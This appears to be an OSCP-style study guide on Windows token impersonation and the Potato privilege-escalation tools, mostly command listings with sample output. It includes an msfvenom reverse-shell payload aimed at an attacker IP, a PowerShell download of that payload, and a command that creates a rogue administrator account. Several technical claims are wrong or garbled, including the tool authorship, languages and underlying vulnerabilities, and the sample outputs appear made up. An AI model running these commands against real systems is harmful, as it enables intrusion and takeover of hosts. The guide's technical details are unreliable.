Token Manipulation
Overview
Token manipulation is one of the most powerful and frequently tested privilege escalation techniques on the OSCP exam. Windows uses security tokens to enforce access control — every process runs under a security token that defines its identity, group memberships, and privileges. By manipulating these tokens, an attacker can escalate from a low-privilege user to SYSTEM.
This topic covers the full spectrum: from understanding token types and impersonation levels, to practical exploitation using Incognito, the Potato family of exploits, and modern alternatives.
5.1 Token Impersonation
What Are Security Tokens?
Every time a user logs into Windows, the authentication subsystem creates a security token. This token is attached to every process that the user starts and contains:
- User identity — the SID (Security Identifier) of the logged-in user
- Group memberships — all groups the user belongs to (local, domain, built-in)
- Privileges — enabled and disabled privileges (e.g.,
SeImpersonatePrivilege,SeDebugPrivilege) - Integrity level — Mandatory Label (Untrusted, Low, Medium, High, System)
- Authentication ID — unique per logon session
There are two fundamental types of tokens:
| Token Type | Description | Stealable? |
|---|---|---|
| Primary Token | The main token associated with a process. Defines who the process “is.” | Not directly — requires DuplicateTokenEx + SetThreadToken |
| Impersonation Token | A temporary token a process receives when it impersonates a client (e.g., a service handling a network request). | Yes — can be directly assumed if the impersonation level is high enough |
Impersonation Levels
When a server process impersonates a client, Windows assigns an impersonation level that determines what the server can do with the client’s identity:
| Level | Constant | Capabilities | Exploitable? |
|---|---|---|---|
| Anonymous | SecurityAnonymous |
The server cannot identify the client. No token information is available. | No |
| Identification | SecurityIdentification |
The server can query the client’s identity (SID, groups, privileges) but cannot impersonate the client. | No |
| Impersonation | SecurityImpersonation |
The server can impersonate the client locally. It can access resources on the local system as the client. | Yes |
| Delegation | SecurityDelegation |
The server can impersonate the client locally and remotely. The token can be used to access resources on other machines. | Yes — most powerful |
Why This Matters for Privilege Escalation
Services that handle incoming connections (IIS, MSSQL, WinRM, HTTP.SYS, Named Pipes, COM) often impersonate the connecting client. If you can trigger a service to impersonate you, and that service runs as SYSTEM, you may be able to capture a high-privilege impersonation token and use it to escalate.
Incognito Tool
Incognito (by Craig Atherton / SensePost) is the go-to tool for token enumeration and manipulation. It works by:
- Enumerating all available impersonation tokens on the system
- Filtering by impersonation level
- Assuming a token (making your current process run under that token)
- Executing commands or spawning shells under the assumed token
Download and Setup
# Option 1: Compiled binary
# Download from: https://github.com/antonioCoco/Incognito/releases
# Option 2: PowerShell module (works without compilation)
# Download Invoke-TokenManipulation.ps1
Import-Module .\Invoke-TokenManipulation.ps1
Command Reference
# List all available tokens with full details
Invoke-TokenManipulation -ListTokens
# Realistic output:
# [*] Looking up tokens...
# [*] Current user: TARGET\user
# [*] Current token type: Primary
#
# [*] Available Primary Tokens (whoami /all equivalent):
# User: TARGET\user
# SID: S-1-5-21-xxxxx-xxxxx-xxxxx-1001
# Privileges:
# SeImpersonatePrivilege Disabled
# SeAssignPrimaryTokenPrivilege Disabled
#
# [*] Available Impersonation Tokens:
# User: NT AUTHORITY\SYSTEM
# SID: S-1-5-18
# Impersonation Level: Impersonation
# Integrity Level: High
#
# User: NT AUTHORITY\NETWORK SERVICE
# SID: S-1-5-20
# Impersonation Level: Impersonation
# Integrity Level: Medium
#
# User: DOMAIN\Administrator
# SID: S-1-5-21-xxxxx-xxxxx-xxxxx-500
# Impersonation Level: Delegation
# Integrity Level: High
# Assume a specific token (makes your current process run as that user)
Invoke-TokenManipulation -ImpersonateToken -Username "NT AUTHORITY\SYSTEM"
# Output:
# [*] Impersonating token for user: NT AUTHORITY\SYSTEM
# [*] Token type: Impersonation
# [+] Success! Current token is now: NT AUTHORITY\SYSTEM
# Verify
whoami
# Output: nt authority\system
# Execute a single command under a token without switching your shell
Invoke-TokenManipulation -ImpersonateToken -Username "DOMAIN\Administrator" -Command "whoami"
# Output:
# domain\administrator
# Spawn a new process (e.g., reverse shell) under the assumed token
Invoke-TokenManipulation -ImpersonateToken -Username "NT AUTHORITY\SYSTEM" -Command "C:\temp\shell.exe"
# Or spawn a new interactive CMD
Invoke-TokenManipulation -ImpersonateToken -Username "NT AUTHORITY\SYSTEM" -Command "cmd.exe"
# Steal a primary token from a running process
# This requires knowing the PID of a process running as the target user
Invoke-TokenManipulation -StealToken -ProcessId 1234
# Output:
# [*] Stealing token from process 1234
# [*] Process user: NT AUTHORITY\SYSTEM
# [+] Success! Current token is now: NT AUTHORITY\SYSTEM
Key Incognito Concepts
-ListTokens— Enumerates all tokens. Look forImpersonationorDelegationlevel tokens with high-privilege users (SYSTEM, Administrators)-ImpersonateToken— Switches your current thread’s token. Yourwhoamiwill change-StealToken— Takes the primary token from a specific process PID. More powerful but requires knowing which process to target-Command— Executes a command under the token without permanently switching. Useful for quick checks
Token Impersonation Attack Flow
sequenceDiagram
participant A as Attacker (Low Priv)
participant S as Service (SYSTEM)
participant T as Token
participant R as Reverse Shell
A->>S: Trigger service to impersonate attacker
S->>T: Create Impersonation Token (Level: Impersonation)
S-->>A: Respond to request
A->>T: Incognito: List available tokens
T-->>A: Shows SYSTEM impersonation token
A->>T: Incognito: Assume SYSTEM token
T-->>A: Current token = SYSTEM
A->>R: Spawn reverse shell as SYSTEM
R-->>A: SYSTEM shell received
5.2 Primary Token Theft
Why Primary Tokens Are Different
Primary tokens are the “real” identity of a process. Unlike impersonation tokens (which are temporary and created during client-server interactions), primary tokens are:
- Bound to the process at creation time
- Not directly accessible to other processes
- Require specific API calls to duplicate
The DuplicateTokenEx + SetThreadToken Technique
To steal a primary token, you need to:
- Open a handle to the target process (
OpenProcess) - Open the process token (
OpenProcessToken) - Duplicate the token as a primary token (
DuplicateTokenExwithTokenPrimary) - Create a new thread (
CreateThread) - Set the thread’s impersonation token to the duplicated token (
SetThreadToken)
This requires the SeAssignPrimaryTokenPrivilege privilege.
RottenPotato
RottenPotato (by borja) was one of the first exploits to automate primary token theft on systems before the MS16-034 patch. It works by:
- Creating a Named Pipe server
- Registering a COM object that will impersonate the pipe client
- Triggering the COM object to connect to the Named Pipe
- Capturing the SYSTEM impersonation token generated during the connection
- Using
DuplicateTokenEx+SetThreadTokento escalate
# RottenPotato usage
# Download: https://github.com/borjapazrottis/Windows-Privilege-Escalation-Tools
# Basic - spawns cmd.exe as SYSTEM
.\RottenPotato.exe -c "cmd.exe"
# With custom command
.\RottenPotato.exe -c "C:\temp\shell.exe"
# Realistic output:
# [*] Creating named pipe...
# [*] Registering COM object...
# [*] Triggering impersonation...
# [+] SYSTEM token captured!
# [+] Spawning: cmd.exe
# Microsoft Windows [Version 10.0.17763.1]
# (c) 2018 Microsoft Corporation. All rights reserved.
#
# C:\Windows\system32>whoami
# nt authority\system
Important Note for OSCP
RottenPotato only works on unpatched systems (pre-MS16-034). On modern systems, you need JuicyPotato, RoguePotato, or PrintSpoofer instead.
5.3 JuicyPotato
MS16-034 Vulnerability Deep Dive
JuicyPotato (by ohpe /decoder) exploits MS16-034 — an elevation of privilege vulnerability in how Windows handles COM (Component Object Model) activation.
What Is MS16-034?
When a user activates a COM object that is configured to run under a different user account (via the LocalServer32 or InProcServer32 registry key), Windows:
- Creates a new process to host the COM object
- The hosting process impersonates the activating user
- This impersonation creates a token with
SecurityImpersonationlevel
The vulnerability: even after Microsoft patched the original RottenPotato attack vector, the fundamental COM impersonation mechanism remained exploitable through a different approach — by abusing the IActivationProperties interface to force a higher impersonation level.
What Is a CLSID?
A CLSID (Class ID) is a Globally Unique Identifier (GUID) that identifies a COM class. Each COM object registered on the system has a CLSID stored in the Registry under:
HKCR\CLSID\{GUID}
HKLM\SOFTWARE\Classes\CLSID\{GUID}
The CLSID entry contains:
LocalServer32— Path to the executable that hosts this COM objectInProcServer32— Path to the DLL that hosts this COM objectAppId— Links to an application identifierRunAs— The account the COM object runs under (critical: must beInteractive UserorNT AUTHORITY\SYSTEM)
Prerequisites for JuicyPotato
| Requirement | Details |
|---|---|
SeImpersonatePrivilege |
Must be enabled (check with whoami /priv) |
| Available CLSID | A CLSID that runs as SYSTEM or Interactive User with a LocalServer32 entry |
| OS Version | Windows 7, 8, 8.1, 10 (pre-1809), Server 2008, 2012, 2016, 2019 |
| Patch Status | System must NOT have the COM impersonation mitigation (Windows 10 1809+ has mitigations) |
Finding Available CLSIDs
# Method 1: Use JuicyPotato's built-in CLSID enumeration
# JP.exe automatically searches for usable CLSIDs
# Method 2: PowerShell enumeration
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
$localServer = Get-ItemProperty "$($_.PSPath)\LocalServer32" -ErrorAction SilentlyContinue
if ($localServer -and $localServer.(Get-ItemProperty $_.PSPath).RunAs -eq "Interactive User") {
Write-Host "[+] CLSID: $($_.PSChildName)"
Write-Host " LocalServer32: $($localServer.'(default)')"
}
}
# Method 3: Common known-good CLSIDs
# {F7FD3FD6-9994-4529-B2D0-0417995E90F6} — Shell.ServiceProvider (works on most systems)
# {E60687F7-06A9-45D0-84BD-E64EA69D6303} — Windows 10 specific
# {1B3E5D4A-600D-4745-B4E1-66BDDF09F7E1} — Windows 10
# {F7FD3FD6-9994-4529-B2D0-0417995E90F6} — Most reliable across versions
Full Exploitation Walkthrough
# Step 1: Verify prerequisites
whoami /priv
# Look for: SeImpersonatePrivilege Enabled
# Step 2: Download JuicyPotato
# https://github.com/ohpe/juicy-potato
# Pre-compiled binaries available in releases
# Step 3: Create your payload
# On Kali/attacker machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=443 -f exe -o shell.exe
# Or create a simple reverse shell:
# https://github.com/antonioCoco/Seatbelt (for no-build tools)
# Step 4: Upload payload to target
# Use your existing access (e.g., via SMB, PowerShell download)
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.14.20/shell.exe', 'C:\temp\shell.exe')"
# Step 5: Run JuicyPotato
.\JuicyPotato.exe -l 1337 -t * -p C:\temp\shell.exe -c {F7FD3FD6-9994-4529-B2D0-0417995E90F6}
# Realistic output:
# [*] CreateService succeeded!
# [*] Launching service...
# [*] Got an impersonation token!
# [*] Enabled token privileges:
# SeAssignPrimaryTokenPrivilege
# SeImpersonatePrivilege
# SeCreateGlobalPrivilege
# [+] Spawned process with token!
Parameter Reference
| Parameter | Description | Example |
|---|---|---|
-l |
Local port for the RPC listener | -l 1337 |
-t |
Token type to capture. * = all, i = impersonation, p = primary |
-t * |
-p |
Program to execute as SYSTEM | -p C:\temp\shell.exe |
-a |
Arguments to pass to the program | -a "/c whoami" |
-c |
CLSID GUID to use | -c {F7FD3FD6-9994-4529-B2D0-0417995E90F6} |
-n |
Enable NP (Named Pipe) mode | -n |
-e |
Enable EP (Event) mode | -e |
JuicyPotato Token Flow
sequenceDiagram
participant A as Attacker Process
participant JP as JuicyPotato
participant COM as COM Subsystem
participant S as COM Server (SYSTEM)
participant T as Token System
A->>JP: Launch with CLSID + payload
JP->>COM: Activate COM object via CLSID
COM->>S: Spawn COM server process as SYSTEM
S->>T: Impersonate connecting client (attacker)
T-->>S: Return Impersonation Token (SYSTEM)
S-->>JP: Token available via RPC/Named Pipe
JP->>T: DuplicateTokenEx -> Primary Token
T-->>JP: Primary SYSTEM token
JP->>A: CreateProcessAsUser with SYSTEM token
A-->>A: shell.exe runs as SYSTEM
5.4 RoguePotato
Why RoguePotato Supersedes JuicyPotato
JuicyPotato has a critical limitation: it requires a valid CLSID with specific properties. On Windows 10 version 1809 and later, Microsoft introduced mitigations that made finding a usable CLSID extremely difficult or impossible.
RoguePotato (by amri-it) solves this by eliminating the CLSID requirement entirely. Instead of abusing COM activation, it abuses HTTP.SYS — the Windows HTTP protocol stack.
The Named Pipe + HTTP Listener Technique
RoguePotato works through the following mechanism:
- Register a fake HTTP server — Uses
HttpAddUrlto register an HTTP URL reservation (e.g.,http://+:8080/) - Create a Named Pipe — Sets up a Named Pipe server that will receive the impersonation token
- Trigger HTTP.SYS — Makes an HTTP request to the registered URL
- HTTP.SYS impersonates — When HTTP.SYS processes the request, it creates an impersonation token for the requesting user
- Token capture — The impersonation token flows through the Named Pipe, where RoguePotato captures it
- Escalation — Uses
DuplicateTokenEx+CreateProcessWithTokenWto spawn a SYSTEM process
Why HTTP.SYS?
HTTP.SYS is a kernel-mode driver that handles HTTP requests for IIS and any application using the HTTP API. Key properties that make it exploitable:
- Any process can register URL reservations (with
HttpAddUrl) - HTTP.SYS creates impersonation tokens for incoming requests
- The impersonation token has the privileges of the server process, not the client
- If you register the URL and trigger the request yourself, you control both sides
Full Exploitation Walkthrough
# Step 1: Verify prerequisites
whoami /priv
# Look for: SeImpersonatePrivilege Enabled
# Step 2: Download RoguePotato
# https://github.com/antonioCoco/RoguePotato
# Pre-compiled binary: RoguePotato.exe
# Step 3: Basic execution (spawns cmd.exe as SYSTEM)
.\RoguePotato.exe
# Realistic output:
# [*] RoguePotato - Windows Privilege Escalation
# [*] Using HTTP.SYS technique
# [*] Registering URL: http://+:8080/
# [*] Creating Named Pipe: \\.\pipe\RoguePotato
# [*] Starting HTTP listener...
# [*] Triggering HTTP.SYS request...
# [*] Capturing impersonation token...
# [+] SYSTEM token captured!
# [+] Spawning cmd.exe as SYSTEM...
# Microsoft Windows [Version 10.0.19041.1]
# (c) 2021 Microsoft Corporation. All rights reserved.
#
# C:\Windows\system32>whoami
# nt authority\system
# Step 4: With custom payload
.\RoguePotato.exe -c "C:\temp\shell.exe"
# Step 5: With custom port (if 8080 is in use)
.\RoguePotato.exe -p 9090
# Step 6: With custom command and arguments
.\RoguePotato.exe -c "cmd.exe" -a "/c net user hacker P@ssw0rd! /add & net localgroup Administrators hacker /add"
Parameter Reference
| Parameter | Description | Default |
|---|---|---|
-c |
Command to execute as SYSTEM | cmd.exe |
-a |
Arguments for the command | None |
-p |
HTTP listener port | 8080 |
-u |
URL to register | http://+:<port>/ |
RoguePotato Token Flow
sequenceDiagram
participant A as Attacker Process
participant RP as RoguePotato
participant H as HTTP.SYS (Kernel)
participant T as Token System
participant P as Named Pipe
A->>RP: Launch RoguePotato
RP->>H: HttpAddUrl("http://+:8080/")
H-->>RP: URL reservation granted
RP->>P: Create Named Pipe server
RP->>H: HttpReceiveRequest (wait for request)
RP->>H: Self-request to http://localhost:8080/
H->>T: Create impersonation token
T-->>H: Impersonation token (SYSTEM context)
H->>RP: Deliver request + token via callback
RP->>P: Token flows through Named Pipe
RP->>T: DuplicateTokenEx -> Primary SYSTEM token
T-->>RP: Primary SYSTEM token
RP->>A: CreateProcessWithTokenW -> SYSTEM shell
5.5 SweetPotato
Overview
SweetPotato (by CCob) is another HTTP.SYS-based exploitation tool, written in C as a single, small binary. It uses a technique very similar to RoguePotato but with some key differences.
Key Characteristics
| Feature | Detail |
|---|---|
| Language | C (single compiled binary, very small) |
| Technique | HTTP.SYS URL registration + Named Pipe |
| CLSID Required | No |
| Windows Support | Windows 7 through Windows 10 (all versions) |
| Size | ~200KB (much smaller than Go-based tools) |
| Dependencies | None — fully portable |
Exploitation
# Download: https://github.com/CCob/SweetPotato
# Basic usage (spawns cmd.exe as SYSTEM)
.\SweetPotato.exe
# With custom command
.\SweetPotato.exe -c "cmd.exe /c whoami"
# With custom payload
.\SweetPotato.exe -c "C:\temp\shell.exe"
# Realistic output:
# [*] SweetPotato - HTTP.SYS Privilege Escalation
# [*] Registering URL reservation...
# [*] Starting HTTP server on port 80...
# [*] Creating named pipe...
# [*] Sending request to trigger impersonation...
# [*] Got SYSTEM token!
# [*] Spawning: cmd.exe
# C:\Windows\system32>whoami
# nt authority\system
SweetPotato vs RoguePotato
| Feature | RoguePotato | SweetPotato |
|---|---|---|
| Language | Go | C |
| Binary Size | ~10MB | ~200KB |
| CLSID Required | No | No |
| Technique | HTTP.SYS + Named Pipe | HTTP.SYS + Named Pipe |
| Port Customization | Yes (-p) |
Limited |
| Argument Support | Yes (-a) |
Yes (-c with full command) |
| Windows 10 2004+ | Yes | Yes |
| Best For | Flexibility, custom args | Small size, quick deployment |
Potato Tools Comparison
Comprehensive Comparison Table
| Tool | Windows Support | Requires CLSID | Requires Port | Language | Binary Size | Technique |
|---|---|---|---|---|---|---|
| RottenPotato | Win 7, 8, Server 2008 R2 (unpatched) | No | No | C++ | ~500KB | COM + Named Pipe (pre-MS16-034) |
| JuicyPotato | Win 7 — Win 10 1803, Server 2008—2019 | Yes | Yes (RPC) | Go | ~10MB | COM activation + MS16-034 |
| JuicyPotatoNG | Win 7 — Win 10 1809, Server 2008—2019 | Yes | Yes (RPC) | Go | ~10MB | COM activation + MS16-034 (improved) |
| RoguePotato | All versions including Win 10 2004+ | No | Yes (HTTP) | Go | ~10MB | HTTP.SYS + Named Pipe |
| SweetPotato | Win 7 — Win 10 (all) | No | Yes (HTTP) | C | ~200KB | HTTP.SYS + Named Pipe |
| PrintSpoofer | Win 7 — Win 11, Server 2008—2022 | No | No | C | ~150KB | Print Spooler + Named Pipe |
| PotatoManiac | Win 7 — Win 10 | No | Yes (HTTP) | Go | ~10MB | HTTP.SYS (multiple methods) |
“Which Potato to Use?” Decision Matrix
flowchart TD
A[Start: Need Token Escalation] --> B{Check whoami /priv}
B -->|No SeImpersonatePrivilege| Z[Cannot use Potato tools. Try other vectors.]
B -->|Has SeImpersonatePrivilege| C{Windows Version?}
C -->|Win 7 / Server 2008 R2 unpatched| D[RottenPotato]
C -->|Win 7 - Win 10 1803| E{CLSID available?}
E -->|Yes| F[JuicyPotato / JuicyPotatoNG]
E -->|No / Not sure| G[PrintSpoofer]
C -->|Win 10 1809 - 2004| H{Prefer small binary?}
H -->|Yes| I[SweetPotato]
H -->|No / Need flexibility| J[RoguePotato]
C -->|Win 10 2004+ / Win 11| K{Print Spooler running?}
K -->|Yes| L[PrintSpoofer - BEST CHOICE]
K -->|No| M[RoguePotato]
C -->|Server 2016 / 2019| N[PrintSpoofer or RoguePotato]
C -->|Server 2022| O[PrintSpoofer]
D --> P[Get SYSTEM shell]
F --> P
G --> P
I --> P
J --> P
L --> P
M --> P
N --> P
O --> P
Quick Reference: When to Use What
| Scenario | Best Tool | Why |
|---|---|---|
| OSCP exam, unknown Windows version | PrintSpoofer | Works on virtually everything, no CLSID, no port needed, tiny binary |
| Windows 10 2004+ | RoguePotato or PrintSpoofer | COM-based tools don’t work; HTTP.SYS or Print Spooler needed |
| Old Windows 7/2008 R2, unpatched | RottenPotato | Simplest on old unpatched systems |
| Windows 7-10 with known CLSID | JuicyPotato | Classic approach, well-documented |
| Need smallest binary | SweetPotato or PrintSpoofer | C binaries, under 200KB |
| Print Spooler service is running | PrintSpoofer | Most reliable modern approach |
OSCP Exam Tips
Critical Checklist Before Using Potato Tools
# 1. Always check privileges first
whoami /priv
# You NEED SeImpersonatePrivilege (Enabled or Disabled — you can enable it)
# 2. Check Windows version
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# 3. Check if Print Spooler is running (for PrintSpoofer)
sc query Spooler
# 4. Check if ports are available (for HTTP-based tools)
netstat -ano | findstr ":80 " | findstr "LISTENING"
netstat -ano | findstr ":8080 " | findstr "LISTENING"
Exam Strategy
-
PrintSpoofer is your best friend — It works on the widest range of systems, doesn’t require CLSIDs, doesn’t need port availability, and the binary is tiny. Always try this first.
-
Always have multiple Potato tools ready — Keep JuicyPotato, RoguePotato, SweetPotato, and PrintSpoofer in your cheat sheet / go-to folder. Different machines need different tools.
-
Check
whoami /privbefore anything — IfSeImpersonatePrivilegeis not listed, Potato tools won’t work. Move to other escalation vectors. -
If
SeImpersonatePrivilegeshows as “Disabled” — You can still use it. The Potato tools will enable it internally. Don’t skip just because it says Disabled. -
Token manipulation via Incognito is different from Potato exploits — Incognito works with existing impersonation tokens already on the system (from services that are actively impersonating). Potato exploits CREATE new impersonation tokens through abuse. Know the difference.
-
When Incognito shows a SYSTEM impersonation token — Use
-ImpersonateTokento assume it directly. This is often faster than running a Potato exploit. -
Remember: these are local privilege escalation — You need an existing foothold (shell) on the target first.
Common Pitfalls
- Firewall blocking the listener port — If RoguePotato/SweetPotato fail, try a different port or switch to PrintSpoofer
- CLSID not found — JuicyPotato will fail silently or with errors. Switch to RoguePotato or PrintSpoofer
- Antivirus detection — Some Potato tools may be flagged. SweetPotato and PrintSpoofer (being C binaries) are less likely to be detected
- Already running as SYSTEM — If
whoamireturnsnt authority\system, you don’t need token manipulation
Tools to Have Ready
| Tool | Source | Notes |
|---|---|---|
PrintSpoofer.exe |
https://github.com/itm4n/PrintSpoofer | Primary choice for OSCP |
RoguePotato.exe |
https://github.com/antonioCoco/RoguePotato | Fallback for modern Windows |
SweetPotato.exe |
https://github.com/CCob/SweetPotato | Small binary alternative |
JuicyPotato.exe |
https://github.com/ohpe/juicy-potato | Old systems with CLSID |
Invoke-TokenManipulation.ps1 |
https://github.com/clymb3r/PowerShell | PowerShell-based token manipulation |